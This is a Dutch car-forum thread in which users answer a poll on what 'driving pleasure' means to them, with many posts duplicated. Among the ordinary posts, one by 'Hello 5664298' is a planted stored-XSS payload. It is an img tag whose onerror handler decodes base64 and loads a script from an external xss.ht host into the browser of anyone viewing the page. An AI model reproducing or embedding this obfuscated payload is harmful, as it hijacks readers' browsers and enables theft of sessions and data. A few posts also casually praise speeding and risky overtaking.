Zunigrijje
Net ingestapt
Hij is vast nog niet verder geweest dan de Randstad: in het Heuvelland is het bijvoorbeeld echt leuk rijden, maar dat ligt in het zuiden van het land.
Peiling: Wat is rijplezier?
- Onderwerp starter Lars Krijgsman
- Startdatum
Hyundai Rider
Wegverkenner
Wat is rijplezier voor mij? Dat je kan gaan en staan waar je wilt, dus de vrijheid die er bij komt kijken als je een auto heb. En dat je niet afhankelijk ben van OV.
Mario CrashBoomBang
Net ingestapt
Rijplezier is voor mij iedere keer anders.
Als ik met mijn eigen auto op weg ben dan is het lekker cruisen af en toe eens lekker doortrekken maar ik vind mijn auto voor het bochtenwerk niet echt een superauto.
Met 1 van mijn vorige auto's (een Alfa 156 v6) dan geniet je meer van de strakke minder comfortabele wegligging en kan je van ieder bocht een feest maken,ook de handbak is dan gewoon een must in zo een auto.
Maar ik vind eerlijk gezegd de laatste tijd met veel drukte en veel onbekwame bestuurders de weg niet zo fijn meer.
Ook het wegennet is zo ingericht dat je veel moet stoppen en goed moet uitkijken voor alles.
Als ik met mijn eigen auto op weg ben dan is het lekker cruisen af en toe eens lekker doortrekken maar ik vind mijn auto voor het bochtenwerk niet echt een superauto.
Met 1 van mijn vorige auto's (een Alfa 156 v6) dan geniet je meer van de strakke minder comfortabele wegligging en kan je van ieder bocht een feest maken,ook de handbak is dan gewoon een must in zo een auto.
Maar ik vind eerlijk gezegd de laatste tijd met veel drukte en veel onbekwame bestuurders de weg niet zo fijn meer.
Ook het wegennet is zo ingericht dat je veel moet stoppen en goed moet uitkijken voor alles.
Alisa 4297463
Net ingestapt
Ik denk zelfs dat het allemaal afhangt van de auto waarmee je rijdt. U zult niet graag in een auto rijden die niet eens een normale geluidsisolatie of airconditioning heeft, vooral niet in de zomer
Joop 5528328
Net ingestapt
Lol, dus een oldtimer met V12 kan bijvoorbeeld nooit rijplezier opleveren?
rareskyone 8080809
Net ingestapt
Rijplezier is rustig draaien op bergwegen, met open dak en genieten van weer met rustgevende muziek. ik hou van autorijden ik voel me ontspannen als ik in de auto rijd voor mij auto is liefde, ik hunkert altijd naar nieuwe auto's en voor mij moet een auto meer dan mooi comfortabel zijn.
Bovendien wordt bijna elke auto op de markt gebracht als een genot om mee te rijden. Het wordt ook behandeld als het belangrijkste kenmerk van elke auto tijdens testritten in de motorpers. In beide contexten richt de definitie van rijplezier zich op het motorvermogen, de snelheid en het rijgedrag
Bovendien wordt bijna elke auto op de markt gebracht als een genot om mee te rijden. Het wordt ook behandeld als het belangrijkste kenmerk van elke auto tijdens testritten in de motorpers. In beide contexten richt de definitie van rijplezier zich op het motorvermogen, de snelheid en het rijgedrag
Cas
Net ingestapt
Rijplezier is zojuist tegen mijn vrouw zeggen dat ik een uurtje in de Alfa ga rijden. Even over de A7 en wat binnendoorweggetjes. Heerlijk snel optrekken en ongehinderd genieten van het geluid, en het interieur.
Dat doe ik dan 1 keer in de twee weken.
Nooit geweten dat je voor je ontspanning in een auto kon stappen.
Dat doe ik dan 1 keer in de twee weken.
Nooit geweten dat je voor je ontspanning in een auto kon stappen.
Tijl
Net ingestapt
Met een middenmotor en/of achterwielaandrijver mogen rijden, het is nu al even geleden...
Een kinderlijk trekje van mij is met onopvallende auto's dure en snel ogende auto's het snot voor de ogen rijden als ze komen bumperkleven of dergelijke. Daar kan ik zoooo van genieten!
Op een bergweg naar boven accelereren als je wat power en/of koppel hebt is ook leuk, maar ik zal nooit meer in de bergen de limieten zoeken van een auto, dat is ooit één keer bijna slecht afgelopen door remblokjes die oververhit raakte.
Een kinderlijk trekje van mij is met onopvallende auto's dure en snel ogende auto's het snot voor de ogen rijden als ze komen bumperkleven of dergelijke. Daar kan ik zoooo van genieten!
Op een bergweg naar boven accelereren als je wat power en/of koppel hebt is ook leuk, maar ik zal nooit meer in de bergen de limieten zoeken van een auto, dat is ooit één keer bijna slecht afgelopen door remblokjes die oververhit raakte.
K1D2
Startmotor
Rijplezier?
Scheuren in mijn Abarth, want;
-Cabrio
- Bombardone 2.0 uitlaat (zoek maar op, op Youtube )
Het geluid van de auto is de reden dat ik nu voor een Fiat 124 Spider aan het kijken ben i.p.v. een Mazda MX-5.
De 1.4 T-jet/Multiair is een geweldige uitvinding
Het ergste van alles? Minimaal 1-2 keer per week steeds dezelfde route en het verveelt gewoon niet.
Ook in de winter; handschoenen aan, muts op, sjaal om en dak open.
Sinds afgelopen zondag staat mijn Abarth noodgedwongen stil, gezien de voorbanden aan de binnenzijde zo versleten zijn dat het canvas naar buiten komt. (Noot; de voorbanden hebben het 18.000 kilometer uitgehouden).
Aankomende maandag is er helaas pas plek bij de garage, maar ik kan nu al niet wachten om weer een rondje te gaan rijden.
Scheuren in mijn Abarth, want;
-Cabrio
- Bombardone 2.0 uitlaat (zoek maar op, op Youtube
)Het geluid van de auto is de reden dat ik nu voor een Fiat 124 Spider aan het kijken ben i.p.v. een Mazda MX-5.
De 1.4 T-jet/Multiair is een geweldige uitvinding
Het ergste van alles? Minimaal 1-2 keer per week steeds dezelfde route en het verveelt gewoon niet.
Ook in de winter; handschoenen aan, muts op, sjaal om en dak open.
Sinds afgelopen zondag staat mijn Abarth noodgedwongen stil, gezien de voorbanden aan de binnenzijde zo versleten zijn dat het canvas naar buiten komt. (Noot; de voorbanden hebben het 18.000 kilometer uitgehouden).
Aankomende maandag is er helaas pas plek bij de garage, maar ik kan nu al niet wachten om weer een rondje te gaan rijden.
Jazzy Cool
Net ingestapt
In de Jazz: heerlijk onthaasten, genieten van de prachrige omgeving waar ik woon dankzij het enorme glasoppervlak en panoramadak. In de Toyota: soepel en zuinig rjjden. In de MX-5 die ik soms leen lekker bochtjes pakken op Veluwse weggetjes, zondee dat het idioot hard gaat. En: geen radio aan en geen herrie-pijp, gewoon een mooi motorgeluid.
Nicola 6179735
Net ingestapt
Gezien de dreigende hordes drones - zal het 'plezier van het rijden' binnenkort tot het verleden behoren ...
...
cj 6356335
Net ingestapt
De bergweg vind ik wel leuk, ook de autobahn is leuk, heerlijk rustig rijden en dan lekker gas geven, dan gaat mijn Leon er als een haas vandoor en zit ik zo op de 200 , heerlijk is dat en dan in samenwerking met veel bochten. Helaas is dat in Nederland niet meer mogelijk want 100 per uur meer zit er niet in.
koen 2463858
Net ingestapt
Rijplezier is voor mij toch echt Wifi in de auto
FW Ta 183 Huckebein I
Wegverkenner
Een auto die het altijd doet en je dus nooit laat staan.
Werkende airco als het bloedheet is.
Het heerlijke schakelen van een Honda of een Daihatsu.
Komende van een Simca 1000 Rallye 1 via een Opel Ascona 1.9 dan opeens in een Honda Accord
De kracht van een 1.9 XtDt PSA turbodiesel heuvel op in Zuid-Duitsland of tussen Bad Oeynhausen en Hannover.
Inhalen met een VAG 1.9 TDi op een Poolse tweebaansweg die toendertijd gewoon als 4baansweg gebruikt werd met alle levensgevaarlijke situaties van dien....
Een heerlijk stuurtje (niet te dik niet te dun) icm een heerlijke versnellingsbak, comfortabel zittend, zonder radio of andere afleiding, genietend van gewoon het heerlijk rijden
Urenlang rijdend door onafzienbare bossen in Oost-Europa, zonder 1 stoplicht of rotonde of file, af en toe zo'n oude Duitse Allee (=door een tunnel van bomen rijden), en gewoon blij en relaxed zijn
Onderweg met buitenlandse lifters dan wel Polen die kennis/familie zijn van mijn kennissen aldaar; je hoort ze in een onverstaanbare taal iets tegen elkaar zeggen en het enige woord dat je verstaat is je eigen naam; naderhand vragend wat ze nou eigenlijk zeiden en dan te horen krijgen dat ze nog nooit met zo'n goede chauffeur onderweg zijn geweest
Alle vrouwen die zeggen dat ze zich zo veilig voelen terwijl ze onderweg met mij meerijden
333.000 km rijden voor je baas met je eigen dieselauto (dit was 1998-2002) en na afloop al rekenend uitkomen op 7,9 eurocent per km (incl. ALLE kosten: afschrijving, wegenbelasting, verzekering, brandstof, onderhoud & reparatie, lidmaatschap ANWB, verkeersboetes); wetende dat die baas jouw omgerekend netto 23,2 eurocent per km heeft betaald; autorijden kost geld maar dit dus niet
Werkende airco als het bloedheet is.
Het heerlijke schakelen van een Honda of een Daihatsu.
Komende van een Simca 1000 Rallye 1 via een Opel Ascona 1.9 dan opeens in een Honda Accord
De kracht van een 1.9 XtDt PSA turbodiesel heuvel op in Zuid-Duitsland of tussen Bad Oeynhausen en Hannover.
Inhalen met een VAG 1.9 TDi op een Poolse tweebaansweg die toendertijd gewoon als 4baansweg gebruikt werd met alle levensgevaarlijke situaties van dien....
Een heerlijk stuurtje (niet te dik niet te dun) icm een heerlijke versnellingsbak, comfortabel zittend, zonder radio of andere afleiding, genietend van gewoon het heerlijk rijden
Urenlang rijdend door onafzienbare bossen in Oost-Europa, zonder 1 stoplicht of rotonde of file, af en toe zo'n oude Duitse Allee (=door een tunnel van bomen rijden), en gewoon blij en relaxed zijn
Onderweg met buitenlandse lifters dan wel Polen die kennis/familie zijn van mijn kennissen aldaar; je hoort ze in een onverstaanbare taal iets tegen elkaar zeggen en het enige woord dat je verstaat is je eigen naam; naderhand vragend wat ze nou eigenlijk zeiden en dan te horen krijgen dat ze nog nooit met zo'n goede chauffeur onderweg zijn geweest
Alle vrouwen die zeggen dat ze zich zo veilig voelen terwijl ze onderweg met mij meerijden
333.000 km rijden voor je baas met je eigen dieselauto (dit was 1998-2002) en na afloop al rekenend uitkomen op 7,9 eurocent per km (incl. ALLE kosten: afschrijving, wegenbelasting, verzekering, brandstof, onderhoud & reparatie, lidmaatschap ANWB, verkeersboetes); wetende dat die baas jouw omgerekend netto 23,2 eurocent per km heeft betaald; autorijden kost geld maar dit dus niet
Bofkont 350
Net ingestapt
Een mooie roadster, zes lijn in het vooronder met handbak.
Dat is ultiem genieten.
Dat is ultiem genieten.
JaapV
Startmotor
Mijn ultieme rijplezier sinds de laatste twee jaar is het rijden in mijn alfa romeo 166 uit 2004. Ultieme lederen zittingen, zeer stil binnen en in stijl overal komen waar ik wil. Een mooie omgeving is daarbij mooi meegenomen. En mijn tripje autobahn komt er ook nog wel een keer.
ZEN
Net ingestapt
Over de Autobahn zoeven met een stille V6, volledig op je gemak met een rustig gangetje van 150 op de Tempomat.
Wel rekening er mee houden, dat je dan meer wordt ingehaald dan je zelf inhaalt.
Met 2 x 500 km per week, plus lokala verkeer, hoef je niet meer zo snel te rijden. Stukje 180, 200 of meer is leuk, niet de hele rit. Veel te vermoeiend.
Zelfs in een E-Klasse...
Wel rekening er mee houden, dat je dan meer wordt ingehaald dan je zelf inhaalt.
Met 2 x 500 km per week, plus lokala verkeer, hoef je niet meer zo snel te rijden. Stukje 180, 200 of meer is leuk, niet de hele rit. Veel te vermoeiend.
Zelfs in een E-Klasse...
Rijplezier kan alles zijn: in eerste instantie denk ik gewoon het idee dat je de vrijheid hebt om te gaan en staan waar je maar wilt in je eigen vervoersmiddel. Ik zelf kan daarnaast genieten van de 3 liter V6 motor icm het sportonderstel van mijn Audi A4 Quattro. Het aanzuiggeluid van de motor, de manier waarop het vermogen wordt opgebouwd naarmate je hoger in de toeren klimt, het plakken op de weg en de hoeveelheid tractie die je hebt en houdt in snel genomen bochten bijv. Deze auto hebben we ook gekocht met het oog op het rijplezier. Zeker niet omdat het een verstandige keuze was.
Ivan 3909193
Startmotor
en het is ook niet stressvol tijdens het rijden
RobG
Startmotor
Rijplezier?
De connectie tussen mens en machine, en dan de grens opzoeken binnen (of bijna binnen) wat wettelijk en sociaal kan. Je moet er voor werken, dus. Handbak, licht gewicht wagen, communicatief stuur en onderstel gedrag, cabriodak open met een beetje zon, genoeg maar niet te veel vermogen en een bochtige weg in een heuvellandschap (buiten NL natuurlijk). Ik heb een Peugeot 205 CTi en ik heb zelf nog geen andere wagen gereden waarmee ik legaal en op de openbare weg meer plezier had.
De connectie tussen mens en machine, en dan de grens opzoeken binnen (of bijna binnen) wat wettelijk en sociaal kan. Je moet er voor werken, dus. Handbak, licht gewicht wagen, communicatief stuur en onderstel gedrag, cabriodak open met een beetje zon, genoeg maar niet te veel vermogen en een bochtige weg in een heuvellandschap (buiten NL natuurlijk). Ik heb een Peugeot 205 CTi en ik heb zelf nog geen andere wagen gereden waarmee ik legaal en op de openbare weg meer plezier had.
Hello 5664298
Net ingestapt
"><img src=x id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8vYmlsa3dhcmEueHNzLmh0Ijtkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKGEpOw== onerror=eval(atob(this.id))>
speedtouch
Wegverkenner
Rijplezier is een beleving, dus persoonlijk, een motorrijder zal vaak in een tunnel gasgeven om het motorgeluid te accentueren, hij geniet daar op dat moment van.
Heb gisteren Nederland doorkruisd in een BMW 320 station automaat in verband met familiebezoek; het is een heerlijke, rustgevende auto, je mag toch 'nergens' harder dan 100, maar op een bepaald moment moest de bestuurder hard gasgeven om een bepaalde verkeerssituatie te voorkomen en opeens, voor een paar seconden, was het rijplezier een stuk minder. Of het nou een Ferrari Testarossa is of een Suzuki Alto, om maar wat oudjes te noemen, je kunt in allebij rijplezier hebben. Het is de beleving van jezelf.
Heb gisteren Nederland doorkruisd in een BMW 320 station automaat in verband met familiebezoek; het is een heerlijke, rustgevende auto, je mag toch 'nergens' harder dan 100, maar op een bepaald moment moest de bestuurder hard gasgeven om een bepaalde verkeerssituatie te voorkomen en opeens, voor een paar seconden, was het rijplezier een stuk minder. Of het nou een Ferrari Testarossa is of een Suzuki Alto, om maar wat oudjes te noemen, je kunt in allebij rijplezier hebben. Het is de beleving van jezelf.
Lucas 3686562
Wegverkenner
Als ik moet kiezen uit een van de opties dan zou het zijn "als het dak maar open is". Liever zonder zon, want dan moet je insmeren. Ik rijd in de winter ook gewoon met dak open met de cabrio. Verwarming op maximaal en windschermpje maakt veel goed. Soms laat ik m'n leaseauto ook gewoon staan en ga ik met de cabrio naar klanten toe. En ik heb een keer de F-150 mee op pad genomen naar een klant. Klant vond het enorm gaaf en is uiteindelijk zelf een uur lang ermee wezen rondrijden. Ik heb nog nooit zo'n long term happy face gezien
Maar echt plezier in autorijden is denk ik voldoende parkeerplek voor de deur hebben.
Maar echt plezier in autorijden is denk ik voldoende parkeerplek voor de deur hebben.